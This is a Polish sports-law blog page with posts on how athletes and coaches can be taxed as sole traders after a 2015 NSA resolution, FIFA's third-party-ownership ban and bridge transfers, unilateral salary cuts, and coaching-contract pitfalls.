Opublikowane w

Forma zaoferowania profesjonalnego kontraktu, a prawo do ekwiwalentu za wyszkolenie

W dzisiejszym tekście powracamy do tematyki ekwiwalentów za wyszkolenie. Tym razem chciałbym się skupić na formie oświadczenia woli zawarcia kontraktu o uprawianie piłki nożnej w kontekście wysokości przysługującego ekwiwalentu za wyszkolenie.

Czytaj dalej Forma zaoferowania profesjonalnego kontraktu, a prawo do ekwiwalentu za wyszkolenie

Opublikowane w

Sportowiec jako przedsiębiorca (podmiot gospodarczy)

Na przełomie ostatnich kilku miesięcy zapadły ważne orzeczenia mające istotne znaczenie dla rozliczeń podatkowych i konstrukcji prawnych pomiędzy klubem, a zawodnikiem. I choć środowisko sportowe czekało na nie od dłuższego czasu, to obecnie sprawia wrażenie, że podchodzi jednak do tematu z pewną ostrożnością – po fali euforii pojawił się pewien dystans. Niektórzy pytają, czy aby na pewno kolejny raz organy podatkowe nie będą kwestionowały wskazanego przez sportowców źródła dochodu, bo czy uchwały Naczelnego Sądu Administracyjnego (NSA) mają walor prawa powszechnie obowiązującego? Dlaczego te orzeczenia są tak szczególne i co dzięki nim mogą zyskać tak sportowcy, trenerzy, sponsorzy jak i kluby sportowe? Na te i inne pytania postaram się odpowiedzieć w poniższym poradniku. Zapraszam zatem do lektury.

Istota sporu

Wielokrotnie organy podatkowe oraz sądy administracyjne stwierdzały, że sportowcy nie mogą podlegać opodatkowaniu według tych samych zasad, według których opodatkowane są osoby prowadzące działalność gospodarczą. Spotykało się to oczywiście z krytyką ze strony środowiska sportowego, które uważało, że sytuacja sportowców była mniej korzystna niż osób wykonujących inny rodzaj pracy. Przedmiotem wieloletnich wątpliwości była kwalifikacja przychodów do właściwego źródła w sytuacji, kiedy przychody osiągane przez sportowca były wymienione w katalogu przychodów z działalności wykonywanej osobiście i jednocześnie działalność prowadzona przez tą osobę spełnia warunki określone w definicji działalności gospodarczej. W orzecznictwie dominował więc pogląd, że jeżeli ustawa o p.d.o.f w art. 13 pkt 2 wymienia przychody z uprawiania sportu jako przychody z działalności wykonywanej osobiście, to nie mogą być one zaliczone do przychodów z działalności gospodarczej (np. wyrok NSA z dnia 25 listopada 2011 r., sygn. akt II FSK 1002/10, wyrok NSA z dnia 17 maja 2012 r., sygn. akt II FSK 2143/10, wyrok NSA z dnia 8 kwietnia 2014 r., sygn. akt II FSK 1125/12). Centrum problemu tkwi w niejednoznacznym brzmieniu ustawy o podatku dochodowym od osób fizycznych.

Należy zaznaczyć, że zakwalifikowanie danego przychodu do dwóch różnych źródeł przychodów nie jest możliwe, a poszczególne źródła przychodów mają charakter rozłączny. W orzecznictwie podkreśla się ponadto, że przychód powinien być przypisany do tego źródła, którego opis w sposób najbardziej szczegółowy odpowiada sposobowi jego powstania, chyba że ustawa expressis verbis nakazuje zaliczenie go do innego źródła (wyrok NSA z dnia 18 maja 2010 r. sygn. akt: II FSK 47/09; z dnia 14 sierpnia 2008 r., sygn. akt: II FSK 678/08).

Przyjmując niekorzystną dla sportowców i klubów interpretację organy podatkowe oraz sądy powoływały się na jednoznaczne w ich opinii brzmienie przepisów ustawy o podatku dochodowym od osób fizycznych. I tak np. wyroku z dnia 8 kwietnia 2014 roku (syg. II FSK 1125/12) dotyczącym sprawy polskiego żużlowca, o której było głośno w mediach Naczelny Sąd Administracyjny stwierdził, że skoro działalność sportowa zawiera się w ustawowym katalogu działalności wykonywanej osobiście, to nie może ona być jednocześnie zakwalifikowana jako działalność gospodarcza: „Jeżeli nawet uprawianie przez skarżącego sportu wykonywane było faktycznie w celach zarobkowych, w sposób zorganizowany i ciągły, we własnym imieniu i na własny lub cudzy rachunek, to z powodu ustawowego zaliczenia przychodów z tego tytułu do (…) działalności wykonywanej osobiście, przychodów tych nie można zasadnie uznać za przychody z działalności gospodarczej”. Tego typu decyzje dla sportowców oznaczały możliwość wystąpienia wysokich zaległości podatkowych, a dla klubów – ryzyko zwrotu VAT, który odliczali na podstawie wystawianych przez sportowców faktur, a w konsekwencji mogło to doprowadzić nawet do ogłoszenia przez nie upadłości.

Pierwszym przełomem w omawianej materii była ubiegłoroczna interpretacja ogólna Ministra Finansów z 22 maja 2014 r. (sygn.  DD2/033/30/KBF/RD-47426)Zauważył on jednak, że „sądy administracyjne nie zawsze są konsekwentne, jeżeli chodzi o wykładnię definicji działalności gospodarczej dla celów podatku dochodowego. O ile bowiem w przypadku działalności sportowej wyinterpretowały z przepisów art. 5a pkt 6 i art. 13 pkt 2 ustawy PIT bezwzględną normę prawną wykluczającą możliwość zaliczenia przychodów z uprawiania sportu do działalności gospodarczej, to w przypadku innych grup zawodowych, osiągających przychody wymienione również w katalogu przychodów z działalności wykonywanej osobiście, nie stosują stricte językowej wykładni tych przepisów”. Stanowisko ministra w tej sprawie było więc takie jak w ostatniej, przełomowej uchwale NSA.

Teza uchwały NSA w składzie 7 sędziów z dnia 22 czerwca 2015 roku (sygn. II FPS 1/15) brzmi: “Przychody sportowców mogą być zaliczone do źródła przychodów z pozarolniczej działalności gospodarczej (art.10 ust.1 pkt 3 ustawy z dnia 26 lipca 1991 r. o podatku dochodowym od osób fizycznych (Dz.U. z 2000 r., Nr 14, poz. 176 ze zm.)), jeżeli działalność sportowca spełnia kryteria określone w art.5a pkt 6 tej ustawy i nie spełnia kryteriów z art.5b ust.1 tej ustawy” (Sprawa dotyczyła zawodnika, który na podstawie wpisu do ewidencji działalności gospodarczej i zgodnie z umową świadczył na rzecz klubu usługi sportowe w zakresie uprawiania sportu żużlowego).

Zgodnie z treścią omawianej uchwały NSA, ustawodawca, jak wskazano wyżej, pozostawił swobodę wyboru formy działania sportowca osobom zainteresowanym, zgodnie z zasadami wynikającymi z art. 20 i art.65 ust.1 Konstytucji RP. Nie ma w związku z tym przeszkód, aby indywidualny zawodnik prowadził działalność gospodarczą, której przedmiotem będzie świadczenie usług w postaci jego udziału w określonych zawodach sportowych w barwach określonego klubu. Działanie takie mieści się w zakresie swobody działalności gospodarczej, wynikającej z art. 6 ust.1 ustawy o swobodzie działalności gospodarczej. Prawidłowe wykonanie umowy wymagać będzie-jak w przypadku uprawiania sportu- treningów, prowadzenia określonego stylu życia, zapewnienia w razie potrzeby ewentualnego sprzętu sportowego czy stroju, zatrudnienia mechaników, masażystów i innych osób, których współdziałania wymaga uprawianie określonej dyscypliny sportu. Jednocześnie jednak celem takiej działalności, prowadzonej w sposób zorganizowany i ciągły, będzie zapewnienie źródła zarobkowania. Nie stanowi przy tym przeszkody dla uznania takiej działalności za gospodarczą fakt, że dla zleceniodawcy istotne jest, aby usługę świadczył konkretny zawodnik. Działalność gospodarcza może mieć przymiot osobistego jej wykonywania (przykładowo działalność krawca miarowego, fryzjera, gdzie istotne dla klienta może być uszycie, skrojenie ubrania, ścięcie włosów przez konkretną osobę, jedynie z pomocą innych osób), cecha ta nie jest jednak niezbędna dla tego rodzaju aktywności.

Orzeczenia sądowe, w tym uchwały NSA nie stanowią źródeł prawa powszechnie obowiązującego (art. 87 Konstytucji RP). W kontekście jednak orzeczeń sądów administracyjnych należy odwołać się do art. 153 ustawy – Prawo o postępowaniu przed sądami administracyjnymi –p.p.s.a. (w nowym brzmieniu od 15.08.2015 r.), który stanowi, że ,,Ocena prawna i wskazania co do dalszego postępowania wyrażone w orzeczeniu sądu wiążą w sprawie organy, których działanie, bezczynność lub przewlekłe prowadzenie postępowania było przedmiotem zaskarżenia, a także sądy, chyba że przepisy prawa uległy zmianie”. Podatnik nie może bezpośrednio wywodzić swoich praw lub obowiązków z orzeczenia sądu administracyjnego, które zapadło w sprawie innego podatnika, ale orzeczenia sądowe i ocena prawna w nich zawarta mają szczególne znaczenie w postępowaniach o wydanie interpretacji ogólnej. Zgodnie z art. 14a § 1. ordynacji podatkowej Minister właściwy do spraw finansów publicznych dąży do zapewnienia jednolitego stosowania przepisów prawa podatkowego przez organy podatkowe oraz organy kontroli skarbowej, dokonując w szczególności ich interpretacji, z urzędu lub na wniosek, przy uwzględnieniu orzecznictwa sądów oraz Trybunału Konstytucyjnego lub Europejskiego Trybunału Sprawiedliwości (interpretacje ogólne). Wydaje się, że można to odnieść także do orzeczeń sądów administracyjnych. Warto jednak zaznaczyć, że jeżeli organ podatkowy nie uwzględni interpretacji ogólnej w rozstrzygnięciu sprawy, to podatnik – adresat rozstrzygnięcia jest objęty ochroną, która odnosi się tylko do sytuacji gdy podatnik nie jest zadowolony z rozstrzygnięcia sprawy i powołuje się na interpretację ogólną, która nie została uwzględniona przez ten organ w danej sprawie. Jeżeli organ podatkowy nie podziela oceny sądu, to jest zobowiązany do przedstawienia konkretnych argumentów przeciwko sądowej wykładni. Zgodnie bowiem z art. 121.§ 1. Ordynacji podatkowej: ,,Postępowanie podatkowe powinno być prowadzone w sposób budzący zaufanie do organów podatkowych”. Ważne z punktu widzenia podatnika jest wobec tego, że przyjmując interpretację ogólną ministra postępuje on zgodnie z zasadą zaufania do organów państwa. Interpretacja może stanowić solidny argument w ewentualnym sporze z organami podatkowymi. Natomiast zgodnie z art. 269. § 1. p.p.s.a. jeżeli jakikolwiek skład sądu administracyjnego rozpoznający sprawę nie podziela stanowiska zajętego w uchwale składu siedmiu sędziów, całej Izby albo w uchwale pełnego składu Naczelnego Sądu Administracyjnego, przedstawia powstałe zagadnienie prawne do rozstrzygnięcia odpowiedniemu składowi. Sytuacja taka wydaje się jednak mało prawdopodobna.

Spójrzmy więc na wskazane przepisy p.d.o.f., które mają kluczowe znaczenie w analizie tematu.

Art. 10 ust. 1 pkt 3:
Źródłami przychodów są:
2) działalność wykonywana osobiście,
3) pozarolnicza działalność gospodarcza
,

Art. 5a pkt 6:
Ilekroć w ustawie jest mowa o:
6) działalności gospodarczej albo pozarolniczej działalności gospodarczej – oznacza to działalność zarobkową:
a) wytwórczą, budowlaną, handlową, usługową,
b) polegającą na poszukiwaniu, rozpoznawaniu i wydobywaniu kopalin ze złóż,
c) polegającą na wykorzystywaniu rzeczy oraz wartości niematerialnych i prawnych – prowadzoną we własnym imieniu bez względu na jej rezultat, w sposób zorganizowany i ciągły, z której uzyskane przychody nie są zaliczane do innych przychodów ze źródeł wymienionych w art. 10 ust. 1 pkt 1, 2 i 4–9.

Art. 5b ust. 1:
Za pozarolniczą działalność gospodarczą nie uznaje się czynności, jeżeli łącznie spełnione są następujące warunki:
1) odpowiedzialność wobec osób trzecich za rezultat tych czynności oraz ich wykonywanie, z wyłączeniem odpowiedzialności za popełnienie czynów niedozwolonych, ponosi zlecający wykonanie tych czynności;
2) są one wykonywane pod kierownictwem oraz w miejscu i czasie wyznaczonych przez zlecającego te czynności;
3) wykonujący te czynności nie ponosi ryzyka gospodarczego związanego z prowadzoną działalnością.

Interpretacja ogólna oraz orzeczenie NSA dało podmiotom uczestniczącym w działalności sportowej, a więc nie tylko sportowcom, ale także sędziom sportowym, trenerom możliwość świadczenia usług sportowych na zasadach przewidzianych dla przedsiębiorców, w tym także opodatkowania swoich dochodów podatkiem liniowym, co w praktyce oznacza możliwość zapłaty przez wskazanych podatników podatku w wysokości 19%.

Samo orzeczenie to nie wszystko. Zasadnicze znaczenie w przypadku, kiedy sportowiec będzie chciał skorzystać z takiej możliwości zależało będzie od spełnienia warunków przewidzianych w przepisach, które zostały przytoczone na wstępie, czyli odpowiedniego ukształtowania warunków współpracy między klubem a zawodnikiem (by spełniały wymagania działalności gospodarczej).

Co do zasady, to sam podatnik podejmuje decyzję o zaliczeniu uzyskanego przychodu do konkretnego źródła. Jednak wybór ten nie jest dowolny i może podlegać weryfikacji przez organy podatkowe, właśnie z punktu widzenia przesłanek stanowiących znamiona działalności gospodarczej, określonych w art. 5a pkt 6 u.p.d.o.f. Jeżeli sportowiec rozpoczynając działalność nie podejmie żadnych działań co do wyboru formy opodatkowania, zostanie opodatkowany na zasadach ogólnych – według skali podatkowej. Wobec tego, podatek będzie wynosił 18% oraz według stawki 32% od nadwyżki ponad 85 528 zł podstawy opodatkowania. Podkreślić trzeba, że przy wyborze stawki progresywnej możliwe jest odliczanie od podstawy opodatkowania składek ubezpieczeniowych, które podatnik zapłacił, a od kwoty podatku – kwoty składki na ubezpieczenie zdrowotne. Może jednak wybrać jednolitą 19% stawkę podatku – podatek liniowy, ale należy mieć jednak na uwadze następujące kwestiepodatnikom, których dochody są opodatkowane podatkiem liniowym nie przysługuje m.in. prawo do korzystania z wielu preferencji podatkowych, wyklucza on także prawo do wspólnego rozliczania się ze współmałżonkiem.

Jakie jeszcze korzyści może uzyskać zawodnik i klub w sytuacji kiedy sportowiec będzie prowadził działalność gospodarczą?

Klub (korzyści):

– zostaje zwolniony od wszelkich obowiązków związanych z oskładkowaniem kontraktów sportowych (brak obowiązku odprowadzania składek na ubezpieczenie społeczne, zdrowotne)

– zyskuje możliwość płacenia tylko faktury VAT wystawianej przez sportowca, a tym samym uzyskują prawo do odliczenia przedmiotowego VAT-u,

– brak obowiązku pobierania podatku i dokonywania formalności z tym związanych

Sportowiec (korzyści):

Oprócz preferencyjnej stawki ZUS, która przysługuje przez okres 24 miesięcy – tzw. ,,mały ZUS”, osoby rozpoczynające działalność gospodarczą mogą ubiegać się o różnego rodzaju formy wsparcia, skorzystać z programów oferowanych np. przez jednostki samorządu terytorialnego. Ponadto, warto także zasygnalizować jeszcze jedną kwestię. Chodzi o zagadnienia dotyczące ubezpieczenia społecznego sportowców. Temat wymaga osobnej analizy, niemniej w związku z możliwością prowadzenia przez sportowców działalności gospodarczej zyskali oni określone zabezpieczenie i w tej sferze, co wydaje się być szczególnie istotne dla zawodników osiągających niższe dochody.

Co z VAT-em?

Zgodnie z art. 5 ust. 1 pkt 1 ustawy o podatku od towarów i usług opodatkowaniu tym podatkiem podlegają odpłatna dostawa towarów i odpłatne świadczenie usług na terytorium kraju. Zgodnie z tą ustawą przez świadczenie usług rozumie się każde świadczenie na rzecz osoby fizycznej, osoby prawnej lub jednostki organizacyjnej niemającej osobowości prawnej, które nie stanowi dostawy towarów w rozumieniu art. 7, w tym również przeniesienie praw do wartości niematerialnych i prawnych, bez względu na formę, w jakiej dokonano czynności prawnej, zobowiązanie do powstrzymania się od dokonania czynności lub do tolerowania czynności lub sytuacji, świadczenie usług zgodnie z nakazem organu władzy publicznej lub podmiotu działającego w jego imieniu lub nakazem wynikającym z mocy prawa.

Natomiast art. 15 ust. 1 ustawy VAT stanowi, że podatnikami są osoby prawne, jednostki organizacyjne niemające osobowości prawnej oraz osoby fizyczne, wykonujące samodzielnie działalność gospodarczą, o której mowa w ust. 2, bez względu na cel lub rezultat takiej działalności. Zgodnie z art. 15 ust.2 tejże ustawy działalność gospodarcza obejmuje wszelką działalność producentów, handlowców lub usługodawców, w tym podmiotów pozyskujących zasoby naturalne oraz rolników, a także działalność osób wykonujących wolne zawody. Działalność gospodarcza obejmuje w szczególności czynności polegające na wykorzystywaniu towarów lub wartości niematerialnych i prawnych w sposób ciągły dla celów zarobkowych.

Za wykonywaną samodzielnie działalność gospodarczą, o której mowa w ustawie o VAT, nie uznaje się czynności z tytułu których przychody zostały wymienione w art. 13 pkt 2–9 ustawy z dnia 26 lipca 1991 r. o podatku dochodowym od osób fizycznych, jeżeli z tytułu wykonania tych czynności osoby te są związane ze zlecającym wykonanie tych czynności prawnymi więzami tworzącymi stosunek prawny pomiędzy zlecającym wykonanie czynności i wykonującym zlecane czynności co do warunków wykonywania tych czynności, wynagrodzenia i odpowiedzialności zlecającego wykonanie tych czynności wobec osób trzecich oraz sposób rozliczania wynagrodzenia. Elementy te będą określać samodzielność oraz stopień ryzyka ekonomicznego ponoszonego przez zawodnika.

Aby móc zakwalifikować sportowców jako podatników VAT należy tak ukształtować wzajemne relacje pomiędzy zawodnikiem a klubem, aby spełniały one warunki działalności gospodarczej na gruncie u.p.d.f. oraz VAT. Kluczowe znaczenie ma zatem treść zawartej umowy – prawa i obowiązki stron. Jeżeli natomiast zawodnik w ramach prowadzonej przez siebie działalności gospodarczej (poza działalnością sportową) świadczy usługi marketingowo-reklamowe, to wówczas mają one znamiona samodzielnej działalności gospodarczej na gruncie przepisów ustawy o VAT i wobec tego z tytułu świadczenia tych właśnie usług zostałby uznany za podatnika podatku od towarów i usług.

Jeżeli sportowiec prowadzi działalność gospodarczą w rozumieniu przepisów ustawy o VAT jest zobligowany do zarejestrowania się jako podatnik VAT. Jako czynny podatnik VAT wystawia faktury za świadczone przez siebie usługi sportowe na rzecz klubu opodatkowując je stawką 23%. Może jednak skorzystać z tzw. zwolnienia podmiotowego do limitów obrotów w wysokości 150 000 zł. Zgodnie z Art. 113 ust. 1 zwalnia się od podatku sprzedaż dokonywaną przez podatników, u których wartość sprzedaży nie przekroczyła łącznie w poprzednim roku podatkowym kwoty 150 000 zł. Do wartości sprzedaży nie wlicza się kwoty podatku.

Zwolniony z VAT

Ustawa o VAT wymienia listę działalności zwolnionych z opodatkowania, którym przysługuje stawka tzw. ,,zw”. Pełna lista znajduje się w art. 43 Ustawy o VAT. Jeśli jednak dokona rejestracji jako podatnik VAT, to nadal może korzystać ze „stawki zw”.W takim wypadku, dokonując sprzedaży zwolnionej może zastosować oznaczenie „zw”. Prowadzenie sprzedaży zwolnionej z VAT ma jednak określone konsekwencje. Przede wszystkim, sprzedaż zwolniona z opodatkowania VAT nie daje prawa do rozliczania VAT-u od zakupów. Jednak przedsiębiorca, który prowadzi działalność zwolnioną z VAT, ale jest zarejestrowany jako podatnik VAT czynny, ma możliwość prowadzenia tzw. sprzedaży mieszanej. Chodzi o sytuację, gdy obok sprzedaży zwolnionej, dokonuje też sprzedaży opodatkowanej VAT-em – dowolnego rodzaju. Zgodnie z nowymi regulacjami – obowiązującymi od stycznia 2015 roku, naczelnik urzędu skarbowego, na wniosek podatnika, obowiązany będzie do uznania przedstawionego we wniosku sposobu obliczania proporcji za prawidłowy bądź nieprawidłowy (chodzi o proporcje przy odliczaniu podatku od wykorzystywanych przez podatnika towarów i usług zarówno do działalności podlegającej jak i niepodlegającej VAT). W przypadku, gdy naczelnik uzna przedstawiony sposób za nieprawidłowy, to wskaże on sposób, który w jak największym stopniu odpowiada specyfice prowadzonej przez podatnika działalności.

Co z przychodami od sponsorów?

Co do zasady należy je zaliczyć do przychodów z uprawiania sportu, czyli przychodów z działalności wykonywanej osobiście, o których mowa w art. 13 ust.1 pkt 2 p.d.o.f. bądź w ramach prowadzonej przez sportowca działalności gospodarczej. Biorąc pod uwagę fakt, że w większości przypadków otrzymywane od sponsorów kwoty są spore, to nie dziwy fakt, że sportowcy tak ambitnie walczyli o możliwość zastosowania podatku liniowego. W przypadku prowadzenia przez sportowca działalności gospodarczej sponsor ma możliwość zaliczenia wydatków do kosztów uzyskania przychodów, a sportowiec zyska możliwość odliczania kosztów uzyskania przychodów.

O zagadnieniach dotyczących podatkowych aspektów sponsoringu w klubach sportowych oraz umów mogą Państwo przeczytać także na naszym portalu w artykułach: „O VAT w klubach sportowych”, „Sponsoring vs darowizna” oraz „Szukam sponsora”.

Choć jak to w prawie bywa – zawsze jest konieczna analiza każdego przypadku z osobna, to bez wątpienia omawiane orzeczenie otwiera sportowcom, trenerom, sędziom i klubom furtkę do zastosowania nowego modelu współpracy, który w praktyce jest korzystny dla obu stron – klubu i zawodnika czy trenera i klubu. Nie ma zatem potrzeby tworzenia skomplikowanych ,,układów umów”: kontraktu zawodniczego opiewającego na niższą kwotę (od tej wysokości odprowadzono składkę na ZUS i podatek) oraz umowy wizerunkowej na rażąco zawyżoną kwotę (dochody uzyskiwane w związku z wykorzystywaniem praw do wizerunku z punktu widzenia sportowca są opodatkowane korzystniej niż dochody z uprawiania sportu), lub też zakładania działalności gospodarczej w krajach o preferencyjnych stawkach podatkowych w celu przetransferowania ,,wynagrodzenia z wizerunku” do klubu, czy też zawieranie  tzw. umowy netto. Za wykorzystaniem przez sportowca opcji w postaci założenia własnej działalności gospodarczej przemawia jeszcze jeden argument. Pojawiają się informacje, że Ministerstwo Finansów od 2016 r. chce wprowadzić do ordynacji podatkowej zmiany – chodzi o klauzulę przeciwko obejściu prawa, aby uniemożliwić sportowcom wykorzystywanie jednego z najpopularniejszych schematów optymalizacji podatkowej (wskazane przeze mnie powyżej).

Reasumując, sportowcy, trenerzy, aby mogli rozliczać swoją działalność stawką liniową ich aktywność musi mieć cechy działalności gospodarczej (art. 5a pkt 6 oraz 5b u.p.s.f.), czyli być działalnością o charakterze zarobkowym, prowadzoną w sposób zorganizowany i ciągły. Należy jednak zwrócić uwagę, aby wykonywana w ramach tej działalności czynności nie spełniały łącznienastępujących cech: odpowiedzialność wobec osób trzecich za rezultat tych czynności oraz ich wykonywanie, z wyłączeniem odpowiedzialności za popełnienie czynów niedozwolonych, ponosi zlecający wykonanie tych czynności, są one wykonywane pod kierownictwem oraz w miejscu i czasie wyznaczonych przez zlecającego te czynności, wykonujący te czynności nie ponosi ryzyka gospodarczego związanego z prowadzoną działalnością.

Zawsze jednak należy pamiętać o tym, że każda profesjonalna działalność wiąże się z określonym ryzykiem w tym ryzykiem podatkowym, które może się pojawić i powinny one być brane pod uwagę przez kluby oraz zawodników. Z racji tego, że natura nie lubi pustki, pojawia się kolejne pytanie: na czym teraz mogą skupić swoją uwagę organy podatkowe? Pamiętajmy, że zawsze można skorzystać z możliwości złożenia wniosku o wydanie interpretacji indywidualnej w danej sprawie. Opłata za wniosek o wydanie interpretacji indywidualnej wynosi 40 zł od każdego stanu faktycznego lub zdarzenia przyszłego będącego przedmiotem wniosku.

Opublikowane w

,,Transfer mostowy” w kontekście Third Party Ownership (TPO)

Od 1 maja obowiązuje zakaz Third Party Ownership (TPO). Czym jest TPO i jakie były założenia zmian FIFA w tym kontekście pisałam już na blogu. Dzisiaj natomiast chciałabym przedstawić znany piłkarskiemu środowisku i wykorzystywany już wcześniej ,,instrument” – bridge transfer (transfer mostowy), a który to teraz może stanowić sposób aby obejść TPO, a w konsekwencji sprawić, że decyzja FIFA w sprawie TPO była ,,wylaniem dziecka z kąpielą”.

I tak, z jednej strony mamy kluby, które swoją działalność opierały w wielu przypadkach w większości na środkach uzyskiwanych od zewnętrznych inwestorów, a z drugiej strony właśnie tychże inwestorów, dla których konstrukcja TPO stanowiła bardzo intratną ,,inwestycją”. TPO było niejako częścią kultury futbolowej, a dla wielu klubów mechanizm ten stanowił wręcz konieczność egzystencjalną. Nie dziwi zatem fakt, że podmioty te będzie próbują wykorzystywać alternatywne rozwiązania, aby realizować swoją politykę handlową na rynku transferów piłkarskich. Jedną z opcji wydaje się być wykorzystanie bridge transfers. Transfery mostowe kojarzą się głównie z krajami Ameryki Południowej. Biorąc jednak pod uwagę obowiązujące od 1 maja regulacje, praktyki te mogą stać się bardziej powszechne i w innych państwach.

Najprościej rzecz ujmując bridge transfers, to transakcje, w których transfer piłkarza jest dokonywany z wykorzystaniem „klubu-mostu”. ,,Kupuje” on piłkarza tylko w celu odsprzedania go dalej. Bridge transfers ma 3 główne cechy. Po pierwsze ,,przekazanie” zawodnika do innego klubu bez wyraźnego powodu sportowego. Po drugie, w konstrukcji tej występują 3 kluby. A – klub, w którym zawodnik został zarejestrowany po raz pierwszy, B – klub most, który zazwyczaj jest klubem na niższym poziomie rozgrywkowym niż klub A oraz klub C – klub ostatecznego przeznaczenia, do którego piłkarz miał być skierowany od samego początku. Trzecią cechą jest krótki okres czasu, w którym zawodnik jest zatrudniony w klubie-moście. Przeważnie, zawodnik taki ani razu nie weźmie udziału w żadnym meczu, czy nawet treningu (choć, w celu uniknięciu podejrzeń co do zastosowania bridge transfers może w sumie potrenować przez kilka tygodni z pierwszym zespołem, a potem np. zostać wypożyczonym do jakiejś ,,perełki futbolu” z umownym zastrzeżeniem opcji – prawa pierwokupu).

Istnieją także trzy istotne czynniki, które decydują o tym, że kluby piłkarskie postanawiają skorzystać z bridge transfers. I tak: może wpłynąć na zmniejszenie wysokość płatności dokonywanych w ramach mechanizmu solidarnościowego FIFA, uniknąć opłaty z tytułu ekwiwalentu za wyszkolenie piłkarza, umożliwia ominięcie zakazu TPO, a niekiedy pozwala uniknąć podatków.

Jednym ze sztandarowych przykładów związanych z bridge transfer jest sprawa: CAS 2014/A/3536 Racing Club Asociación Civil v. FIFA. FIFA zakwestionowała transfery zawodników, które miały miejsce w 2012 r. Piłkarze najpierw zostali graczami klubu urugwajskiego, żeby po krótkim okresie czasu (nie występując w żadnym meczu), zostać wytransferowani do argentyńskich klubów, które były klubami docelowymi. Wszystkie uczestniczące w transakcji kluby zostały ukarane dyscyplinarnie za naruszenie FIFA Regulations on the Status and Transfer of Players (art. 3 ust. 1, art. 4 ust. 2, art. 8.3 ust. 3 Aneksu nr 3 oraz art. 9.1 ust. 2 Aneksu nr 3. Dotyczą one głównie wykorzystywania FIFA Transfer Matching System – TMS do celów nieuprawnionych). Największą karę otrzymał „klub-most”. Nałożono na niego grzywnę w wysokości 40 tysięcy franków szwajcarskich oraz zakaz transferów międzynarodowych i krajowych przez okres 2 okien transferowych. Klub postanowił odwołać się od decyzji CAS. Swoje odwołanie uzasadniał tym, że nie ma podstawy prawnej w przepisach FIFA, by ukarać klub za prawidłową rejestracją transferu w TMS. Jednak według FIFA transfer został przeprowadzony przez TMS do nielegalnych celów, a klub działał w złej wierze. I tutaj pojawia się problem. Czy obecne przepisy TMS stanowią skuteczne i właściwe narzędzie do zwalczania i/lub nakładania sankcji na kluby za stosowanie konstrukcji transferów mostowych, transferów dla celów niesportowych? Według CAS (sprawa w/w)-nie, tym bardziej, że TMS nie ma zastosowania do krajowych transferów, a także należy zwrócić uwagę na to, że cel przeprowadzania transferu nie zawsze jest od razu oczywisty.

Co z bridge transfers i TPO? Przykładowo, można ten mechanizm wykorzystać w sytuacji gdy kluby są powiązane ze sobą na płaszczyźnie własnościowej, kapitałowej. Dodatkowo, podmioty trzecie, które do tej pory były inwestorami teraz mogą być właścicielami klubów-mostów, a dzięki zakładaniu ich w ,,odpowiednich” krajach realizować swój plan działania. Wystąpi zatem swoisty mix – zawodnicy będą kupowani, wypożyczani, promowani i sprzedawani oczywiście z zyskiem do kolejnego klubu, a przy okazji będzie można spróbować ominąć przepisy podatkowe.

Zdaję sobie sprawę, że to tylko ogólne przedstawienie zagadnienia, które ma szerszy wymiar. Przykładów można podawać wiele i szczegółowo je analizować. Wydaje mi się, że decyzja FIFA o wprowadzeniu zakazu TPO nie była jednak do końca przemyślana. Cel był jak najbardziej słuszny.  Chciano uniemożliwić wpływanie na wynik zawodów, w określony sposób chronić piłkarzy (np. zdarzało się, że w rzeczywistości piłkarz nie był świadomy udziału inwestorów, warunków ich ofert), podnieść zaufanie co do uczciwości zawodów. Przyroda nie lubi próżni… a FIFA prawdopodobnie będzie musiała podjąć kolejne działania w kierunku zmian przepisów transferowych.

Opublikowane w

O bezprawności jednostronnego zmniejszania wynagrodzenia zasadniczego zawodników przez kluby sportowe

Okres letni nieodłącznie związany jest z przeprowadzaniem transferów z udziałem zawodników. Zmieniając barwy klubowe powinni oni szczegółowo zaznajomić się z przedstawianymi im kontraktami, w których mogą znaleźć się postanowienia negatywnie kształtujące ich sytuację prawną. Dzisiejszy tekst poświęcony jest jednemu z nich, a mianowicie jednostronnemu obniżeniu wynagrodzenia przez klub w razie braku osiągnięcia określonego wyniku sportowego przez zawodnika.

Czytaj dalej O bezprawności jednostronnego zmniejszania wynagrodzenia zasadniczego zawodników przez kluby sportowe

Opublikowane w

Kilka słów o pułapkach w umowach trenerskich

Jak słusznie wskazano w jednym z komentarzy artykułu pt. Konstrukcja umowy o świadczeniu usług przez trenera personalnego, określając status prawny trenera personalnego należy mieć na uwadze relacje prawne łączące go z zatrudniającym go klubem. Zdając sobie sprawę ze złożoności zagadnienia, chciałbym w dzisiejszym tekście przedstawić problematykę kwalifikacji prawnej umowy trenerskiej oraz wprowadzanych coraz częściej zakazów konkurencji nakładanych na trenerów

Do kancelarii zgłaszają się trenerzy, którym kluby zaoferowały zatrudnienie w oparciu o umowę o dzieło. Celem takiej konstrukcji jest naturalnie korzystniejsza kwalifikacja prawna w zakresie przepisów ubezpieczeniowych. Sugeruję jednak, by podchodzić z ostrożnością do takich ofert. W zdecydowanej większości przypadków stosunek prawny łączący trenerów z klubami powinien zostać oparty na zasadzie umowy starannego działania, a nie rezultatu. Zagadnienie to było analizowane m.in. przez Sąd Apelacyjny w Szczecinie, który w 23 stycznia 2014 r. (Sygn. akt III AUa 617/13) orzekł w sprawie trenera personalnego sportu wioślarskiego zatrudnionego w celu przygotowania zespołu do udziału w określonych zawodach. W wyroku sąd zwrócił uwagę, że w przypadku przeprowadzenia cyklu treningów nie występuje żaden rezultat ucieleśniony w jakiejkolwiek postaci. Jest to wyłącznie działanie wykonawcy umowy, który stosownie do przekazanej wiedzy, ma ją przekazać wskazanej grupie odbiorców. Poziom wiedzy uczestników po takich treningach nie może być utożsamiany z wymaganym rezultatem. Sąd przychylił się również do stanowiska Sądu Okręgowego w Szczecinie z wyroku z 23 kwietnia 2013 r. (sygn. akt VII U 2805/12), w którym sąd stwierdził, ze rezultat w postaci samego uczestniczenia w zawodach sportowych nie jest rezultatem obiektywnie osiągalnym i pewnym, w całości uzależnionym od starań trenera. Nie może on bowiem zobowiązać się do tego, że jego zawodnicy wystartują w imprezie sportowej, podobnie jak nie może zobowiązać się do tego, że osiągną określony rezultat. W związku z powyższym umowa trenera została zakwalifikowana jako umowa o świadczenie usług trenerskich, do której w związku z art. 750 k.c. stosuje się przepisy o zleceniu. Powyższe rozważania sądów należy mieć na uwadze w trakcie podpisywania swojej umowy trenerskiej.

